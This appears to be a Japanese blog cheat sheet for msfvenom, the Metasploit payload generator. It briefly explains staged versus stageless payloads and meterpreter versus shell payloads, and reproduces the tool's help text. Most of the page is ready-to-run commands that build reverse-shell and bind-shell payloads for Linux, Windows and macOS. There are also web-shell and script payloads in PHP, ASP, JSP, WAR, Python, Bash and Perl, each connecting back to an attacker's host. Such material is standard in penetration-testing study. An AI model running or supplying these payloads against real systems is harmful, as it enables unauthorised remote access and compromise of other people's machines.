msfvenom とは何なのか

Metasploitの１つのモジュールでシェルコードやペイロードをコマンドで作成できるとても便利なツール。

Metasploitは、コンピュータセキュリティに関するオープンソースのプロジェクトで、脆弱性、ペネトレーションテスト、侵入検知システム、シェルコードのアーカイブ、アンチフォレンジクス（コンピュータ・フォレンジクスによる解析への対抗技術）などを主な守備範囲としている。コマンドラインで操作が出来る〜

詳しくは本サイトをチェック : [https://www.offensive-security.com](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)

payloadは514種類ある（2021/05/08 時点)。

##  stagedとstageless（段階的・非段階的）

```shell
msfvenom -p linux/x86/shell/reverse_tcp # 段階的ペイロード(/で区切られてる)
msfvenom -p linux/x86/shell_reverse_tcp # 
```
### 段階的

段階的ペイロードは侵入口のネットワークが低帯域幅または高遅延環境あると動かない傾向がある。
攻撃者へ再接続し、数々のライブラリをロードする必要があるからである。

ライブラリは基本的には、`metsrv`,`stdapi`, `priv` で全体サイズは1240KB。

したがって、`段階的ペイロード`を使用する際は侵入口のネットワーク環境が比較的、低遅延環境であるべし〜

### 非段階

一方、非段階ペイロードは一度の処理で攻撃者のシェルと接続する。
ネットワーク環境が遅いよみたいな時は使うといいですね。

詳しくは [rapid7.comのブログ（英語)](https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/)


## meterpreterとshell

ペイロードの種類に`shell` と`meterpreter` はそれぞれ違う。

`shell` は netcatを使用したシェルに対応したもの。
`meterpreter` は `msfconsole` のシェルに対応したもの。

`netcat` か `msfconsole` のシェルなのかによって使い分ける。

- x86とx86_64

32bitと64bitのことで両方のアーキテクチャーは異なる。
64bitのものを32bitの方で使おうとしても、動かない

## ペイロード早見表

--- **基本的な使用方法** ---

```shell
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>

Options:
-p、-payload使用するペイロード。カスタムペイロードを使用するには、「-」またはstdinを指定。
    --payload-optionsペイロードの標準オプションを一覧表示。
    -l、-list [type]モジュールタイプを一覧表示。オプションは次のとおり：ペイロード、エンコーダー、nops、全て。
    -n、-nopsledペイロードに[長さ]サイズのnopsledを付加。
    -f、-format出力フォーマット（リストには--help-formatsを使用）。
        --help-formats利用可能なフォーマットを一覧表示。
    -e、-encoder使用するエンコーダー
    -a、-arch使用するアーキテクチャ
        --platformペイロードのプラットフォーム
        --help-platforms利用可能なプラットフォームを一覧表示。
    -s、-space結果のペイロードの最大サイズ
        --encoder-spaceエンコードされたペイロードの最大サイズ（デフォルトは-s値）
    -b、-bad-chars例を避けるための文字のリスト： '\ x00 \ xff'
    -i、-iterationsペイロードをエンコードする回数。
    -c、-add-code含める追加のwin32シェルコードファイルを指定。
    -x、-templateテンプレートとして使用するカスタム実行可能ファイルを指定。
    -k、-keepテンプレートの動作を保持し、ペイロードを新しいスレッドとして挿入。
    -o、-outペイロードを保存。
    -v、-var-name特定の出力形式に使用するカスタム変数名を指定。
        --smallest可能な限り最小のペイロードを生成。
    -h、-helpこのメッセージを表示する。
```


## OS別のshellcode

###  Linux

```shell
## 32 bits
msfvenom -p linux/x86/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf

## 64 bits
msfvenom -p linux/x64/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p generic/shell_bind_tcp RHOST=$rhost LPORT=$lport -f elf > term.elf
```

### Windows

```
## 32 bits
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/powershell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe

## 64 bits
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
```

### Macintosh

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f macho > shell.macho
msfvenom -p osx/x86/shell_bind_tcp RHOST=$rhost LPORT=$lport -f macho > bind.macho
```

## プログラミング言語別shellcode

```shell
# PHP 
msfvenom -p php/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.php
msfvenom -p php/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.php

# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f asp > shell.asp

# ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f asp > shell.aspx

# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.jsp

#WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f war > shell.war

#Python
msfvenom -p python/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.py
msfvenom -p python/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.py
msfvenom -p cmd/unix/reverse_python LHOST=$lhost LPORT=$lport -f raw > shell.py

# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=$lhost LPORT=$lport -f raw > shell.sh

# Perl
msfvenom -p cmd/unix/reverse_perl LHOST=$lhost LPORT=$lport -f raw > shell.pl
```